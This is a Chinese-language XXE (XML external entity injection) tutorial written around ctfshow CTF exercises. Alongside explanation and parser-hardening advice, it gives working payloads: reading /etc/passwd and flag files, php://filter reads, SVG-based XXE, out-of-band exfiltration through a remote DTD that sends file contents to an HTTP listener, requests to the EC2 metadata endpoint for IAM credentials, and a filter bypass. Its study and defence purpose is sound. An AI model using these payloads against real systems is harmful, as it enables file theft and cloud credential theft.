XXE(XML External Entity Injection)
全称 XML外部实体注入漏洞
,既然是注入,说明也是执行了我们的恶意代码。
了解XXE之前应该要先了解一下 XML基础
它产生的原因是:应用程序在解析XML内容时,没有禁止外部实体的加载,导致可加载恶意外部文件;因此如果XML内容可控,那么就可造成以下这些危害。
XXE ( PHP 5.45之后不解析实体 )
<!DOCTYPE 根标签名 SYSTEM "文件名">
DTD实体是用于定义引用文本或字符的快捷方式的变量,可内部声明或外部引用。
约束通过类别关键词 ANY 声明的元素,可包含任何可解析数据的组合:
<!ELEMENT 标签名 ANY>
POST /action HTTP/1.1
Host: some.website
[...]
Connection: close
<?xml version="1.0"?>
<searchForm>
<from>TESTINPUT</from>
</searchForm>
测试人员可以通过在 DOCTYPE
元素中定义一个外部实体来检测 XML 解析器是否解析外部实体,并检查 from
元素中的值是否被替换(值将在应用程序发送的反射消息中替换,如错误消息、搜索结果)。
<?xml version="1.0"?>
<!DOCTYPE xxeinjection [ <!ENTITY newfrom "VULNERABLE"> ]>
<searchForm>
<from>&newfrom;</from>
</searchForm>
过滤用户提交的XML数据
关键字:
<!DOCTYPE和<!ENTITY,SYSTEM
使用开发语言提供的禁用外部实体的方法
libxml_disable_entity_loader(true);
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">]>
<creds>
<user>&xxe;</user>
</creds>
或者
<!DOCTYPE xxeinjection [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<searchForm>
<ctfshow>&xxe;</ctfshow>
</searchForm>
<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<catalog>
<core id="test101">
<description>&xxe;</description>
</core>
</catalog>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "要读取的文件路径" >
]>
<svg height="100" width="1000">
<text x="10" y="20">&file;</text>
</svg>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://174.1.66.167/shell.dtd">
%remote;
]>
shell.dtd
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://127.0.0.1:5555/?flag=%file;'>">
%int;
%send;
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY newfrom SYSTEM "http://{internal_host}/..."> ]>
<searchForm>
<from>&newfrom;</from>
</searchForm>
示例 获取EC2 IAM 角色临时凭证
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/metadata/iam/security-credentials/"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
当只过滤了SYSTEM,PUBLIC等关键字时,可用双重实体编码绕过
<?xml version="1.0"?>
<!DOCTYPE GVI [
<!ENTITY % xml "<!ENTITY xxe SYSTEM "file:///flag.txt" >]> <core>       <message>&xxe;</message> </core>">
%xml;
即为在xml实体中再定义一次xml,可成功被解析,支持dtd数据外带
<!ENTITY xxe SYSTEM "file:///flag.txt" >]>
<core>
<message>&xxe;</message>
</core>
这种情况需要使用参数实体,外部引入DTD
参考 ctfshow-web入门-XXE